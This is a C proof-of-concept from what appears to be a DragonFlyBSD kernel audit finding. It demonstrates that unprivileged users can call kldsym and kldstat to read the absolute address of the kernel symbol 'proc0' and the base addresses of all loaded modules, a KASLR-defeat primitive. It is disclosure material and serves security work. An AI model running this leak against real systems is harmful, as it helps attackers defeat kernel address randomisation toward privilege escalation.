DragonFlyBSD Kernel Audit
DF-0025 / kld_leak.c
← back to finding ↓ download raw
/*
 * DF-0025 PoC - sys_kldstat() / sys_kldsym() missing privilege check leaks
 *              kernel symbol and module addresses to any local user.
 *
 * Only sys_kldload (sys/kern/kern_linker.c:794) and sys_kldunload (:841) are
 * gated by caps_priv_check_self(SYSCAP_NOKLD). sys_kldstat (:940) and
 * sys_kldsym (:1024) have NO gate. sys_kldsym resolves an arbitrary kernel
 * symbol name to its absolute runtime address, and sys_kldstat returns each
 * loaded module's base address (lf->address) and size. Any local user can dump
 * a complete symbol-to-address map of the running kernel + every KLD.
 *
 * Build (DragonFlyBSD):  cc -o kld_leak kld_leak.c
 * Run as an UNPRIVILEGED user.
 *
 * Expected (bug present): prints the absolute address of `proc0` (kldsym) and
 * the base address + size of every loaded KLD (kldstat) to an unprivileged
 * user. KASLR-defeat / symbol-map primitive.
 */

#include <sys/param.h>
#include <sys/linker.h>
#include <stdio.h>
#include <stdint.h>

int
main(void)
{
	int id = 0;

	/* (1) kldsym: resolve an arbitrary kernel symbol to its absolute address. */
	struct kld_sym_lookup l;
	l.version = sizeof(l);
	l.symname = "proc0";
	if (kldsym(0 /* any file */, KLDSYM_LOOKUP, &l) == 0) {
		printf("[+] kldsym(\"proc0\") = 0x%lx  (unprivileged KASLR/symbol leak)\n",
		    (unsigned long)l.symvalue);
	} else {
		perror("kldsym");
	}

	/* (2) kldstat: enumerate every loaded KLD's base address + size. */
	printf("[+] kldstat: loaded modules (base + size):\n");
	while ((id = kldnext(id)) > 0) {
		struct kld_file_stat st;
		st.version = sizeof(st);
		if (kldstat(id, &st) == 0) {
			printf("    %-20s id=%d base=0x%lx size=%7lu refs=%d\n",
			    st.name, st.id, (unsigned long)st.address,
			    (unsigned long)st.size, st.refs);
		}
	}
	return 0;
}